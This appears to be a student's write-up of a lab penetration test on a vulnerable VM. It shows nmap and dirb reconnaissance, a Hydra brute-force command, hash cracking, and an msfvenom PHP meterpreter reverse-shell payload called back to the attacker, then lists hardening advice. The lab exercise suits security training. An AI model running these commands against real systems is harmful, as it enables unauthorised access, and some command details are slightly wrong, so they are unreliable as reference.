Domain: Offensive Security

Question 1: Planning an Engagement

How do you plan and execute an offensive engagement? I was tasked with attacking a vulnerable VM and to see if I was able to gain access to the server. The attacking machine I was provided was a Kali VM. To begin with I ran a nmap scan on the network to see which machines were on the network and what vulnerable services, if any, were running. After determining the ip of my attacking machine by running `ip addr`, I ran `nmap -sV -O 192.168.1.90/24` to see what other machines and services were running on the network. The results confirm that there are three other machines on the network. One is the host machine for the Hyper-V which is running Windows. The other two are Linux machines. One is running an ELK stack setup and the other appears to be a web server. The webserver has port 80 open.

Seeing that the web server had port 80 open, I decided to enter the ip address in a web browser to see what contents were available. While browsing through the directories and opening up several files. One of the files mentioned that there was a hidden directory called /secret_folder/ within the /company_folders/ directory. At this point I decided to run dirb on the web server to see if there were any other hidden directories. I ran `dirb http://192.168.1.105/` and determined that there were two other hidden directories, /server-status/ and /webdav/. Now that I knew the name of the user who had access to the hidden folder, I decided to see if I could brute force crack his password. I ran Hydra to see if I would be successful. The command that was used was: `hydra -l ashton -P /usr/share/wordlists/rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company_folders/secret_folder.`

After successfully cracking Ashtons password, I logged into the secret_folder directory and opened the connect_to_corp_server file and was presented with a hash for the CEO Ryans password. I used the website crackstation.net to crack the hash.

Once I successfully cracked Ryans password, I created a reverse tcp shell payload with msfvenom and uploaded it to the server using Ashtons credentials. This was the command I ran, `msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.90 LPORT=80 -f raw > exploit.php.` Once the payload was uploaded I proceeded to set up the meterpreter session using exploit/multi/handler. After running exploit on the host machine, I ran `php exploit.php` and was put into a meterpreter session.

To conclude, there wasn't really any security measures in place, aside from a hash for Ryans password. This unfortunately was in a unprotected document that was accessible after getting into the secret_folder directory. My initial scan was detectable and I could have ran a stealth scan by running `nmap -sS -O -V 192.168.1.0/20.` Running as stealth scan, I wouldn't have been as noticeable. My suggestions to improve security would be to implement an

enable two-factor authentication on sensitive folders, require strong passwords and enable lock out after 3 failed attempts. Finally I would implement an IDS and a malware scanning software.